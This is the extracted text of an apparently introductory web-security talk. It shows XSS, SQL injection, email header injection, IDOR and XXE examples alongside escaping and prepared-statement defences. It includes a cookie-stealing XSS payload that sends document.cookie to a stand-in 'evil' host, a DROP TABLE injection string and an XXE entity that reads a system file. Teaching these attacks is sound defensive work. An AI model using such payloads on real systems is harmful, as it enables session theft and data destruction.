ayesh karunaratne

Ayesh Karunaratne Freelance Software Developer Kandy, Sri Lanka - - PowerPoint PPT Presentation

Ayesh Karunaratne Freelance Software Developer Kandy, Sri Lanka - Everywhere https://ayesh.me Ayesh @Ayeshlive Ayesh <form> <input name="query" /> <input type="submit" /> </form> var query =


  1. Ayesh Karunaratne Freelance Software Developer Kandy, Sri Lanka - Everywhere https://ayesh.me Ayesh @Ayeshlive Ayesh

  2. <form> <input name="query" /> <input type="submit" /> </form> var query = req.params.query

  3. var query = req.params.query; document.write('Search results for "' + query + '"');

  4. var query = req.params.query; document.write('Search results for "' + query + '"');

  5. var query = req.params.query; document.write('Search results for "' + query + '"');

  6. var query = req.params.query; document.write('Search results for "' + query + '"');

  7. var query = req.params.query; document.write('Search results for "' + query + '"');

  8. var query = req.params.query; document.write('Search results for "' + query + '"');

  9. <script>document.cookie</script> var query = req.params.query; document.write('Search results for "' + query + '"');

  10. var query = req.params.query; document.write('Search results for "' + query + '"');

  11. this.src='http://evil/?c='+document.cookie var query = req.params.query; document.write('Search results for "' + query + '"');

  12. this.src='http://evil/?c='+document.cookie var query = req.params.query; document.write('Search results for "' + query + '"');

  13. this.src='http://evil/?c='+document.cookie var query = req.params.query; document.write('Search results for "' + query + '"'); https://site.noob/?query=Ayesh+%3Cimg+src%3Dx+onerror%3Dthis.src%3D%27http%3A%2F%2F evil%2F%3Fc%3D%27%2Bdocument.cookie%3E

  14. <form> <input name="query" /> <input type="submit" /> </form> $query = $_GET['query'];

  15. <?php query( " SELECT * FROM posts WHERE title = '$query' "); ?>

  16. <?php query( " SELECT * SELECT * FROM posts FROM posts WHERE WHERE title = '$query' title = ' ' "); ?>

  17. <?php query( " SELECT * SELECT * FROM posts FROM posts WHERE WHERE title = '$query' title = ' ' "); ?>

  18. <?php query( SELECT * " SELECT * FROM posts FROM posts WHERE WHERE title = 'Ayesh ' s talk is great title = '$query' "); ?>

  19. <?php query( SELECT * " SELECT * FROM posts FROM posts WHERE WHERE title = 'Ayesh' ; DROP TABLE posts title = '$query' "); ?>

  20. SELECT * FROM posts WHERE title = 'Ayesh' ; DROP TABLE posts

  21. <form> <input name="query" /> <input type="submit" /> </form> $query = $_GET['query'];

  22. $query = $_GET['query']; From: Site <tracking@site.noob> To: site-owner@aol.com Subject: Search alert for $query

  23. $query = $_GET['query']; From: Site <tracking@site.noob> From: Site tracking @ site . noob To: site-owner@aol.com To: site-owner@aol.com Subject: Search alert for $query Subject: Search alert for how did i accidentally build a shelf

  24. \r\n $query = $_GET['query']; From: Site <tracking@site.noob> From: Site tracking @ site . noob To: site-owner@aol.com To: site-owner@aol.com Subject: Search alert for $query Subject: Search alert for how did i accidentally build a shelf Reply-To: evil@evil.com

  25. • • • • • • • • • • •

  26. ( ノ ° Д ° )ノ ︵ ┻━┻

  27. example@example.com Example-example

  28. How to <script>alert(‘ xss ’);</script> How to How to <script>alert(‘ xss ’);</script> How to alert(‘ xss ’); my-awesome-song-*****.mp3 my-awesome-song- _____ .mp3 my-class>your-class my-class_your-class

  29. Ayesh’s talk is <script>alert(“Oops!”)</script> Ayesh’s talk is &lt;script&gt;alert (“Oops!”)& lt;/script&gt; Ayesh’s talk is < script > alert(“Oops!”) < /script>

  30. <?php query( " SELECT * FROM posts WHERE title = %title ", $query); ?>

  31. <?php query( SELECT * " SELECT * FROM posts FROM posts WHERE WHERE title = 'Ayesh\'; DROP TABLE posts ' title = %title ", $query); ?>

  32. filter_var('foo@bar.com', FILTER_VALIDATE_EMAIL); is_email('foo@bar.com'); var validator = require('validator ’ ); validator.isEmail('foo@bar.com'); valid_email_address('foo@bar.com'); <field name="email" type="text" validate="email" />

  33. filter_var(); var validator = require('validator ’ );

  34. filter_var( ‘###foo@bar.com' , FILTER_SANITIZE_EMAIL); sanitize_email( ‘ foo@bar.com ' );

  35. filter_var();

  36. filter_var('test <script>alert("xss");</script>', FILTER_SANITIZE_FULL_SPECIAL_CHARS); htmlspecialchars('test <script>alert("xss");</script>', ENT_QUOTES, 'UTF-8'); esc_html('test <script>alert("xss");</script >’ ); var validator = require('validator ’ ); validator.isEmail('foo@bar.com'); check_plain('test <script>alert("xss");</script>'); <field name="email" type="text" validate="email" />

  37. $stmt = $pdo->prepare("SELECT * FROM posts WHERE title = :title"); $stmt->execute(['title' => $query]); $post = $stmt->fetch(); $post = $wpdb->query( $wpdb->prepare( "SELECT * FROM posts WHERE title = '%s'",$query )); $query = $connection->query( “ SELECT * FROM posts WHERE title = :title", [':title' =>$query]);

  38. SELECT * FROM posts WHERE title = 'Ayesh' ; DROP TABLE posts

  39. <script>document.cookie</script> var query = req.params.query; document.write('Search results for "' + query + '"');

  40. • •

  41. https://site.noob/user/796148

  42. https://site.noob/user/796148/edit

  43. https://site.noob/user/23453

  44. https://site.noob/user/23453/edit

  45. • • • • •

  46. • • • • •

  47. { name: "Tobias", age: "26", } {name: "Tobias", age: 26} array ( 'name' => 'Tobias’ , 'age' => 26 );

  48. { name: “ Nadine", age: "26", } {name: “ Nadine", age: 26} array ( 'name' => ‘Nadine’ , 'age' => 26 );

  49. • • • •

  50. <? xml version="1.0" encoding="ISO-8859-1"?> <! DOCTYPE foo [ <! ELEMENT foo ANY > <! ENTITY xxe SYSTEM "file: // /etc/password" >]><foo>&xxe;</foo>

  51. • • • • • • •

  52. • • • • • • •

  53. • • • • • • •

  54. • • • • composer update

  55. • • • • composer update

  56. • • • • •

  57. • • • • •

  58. • • • • • • • • • •

Recommend


More recommend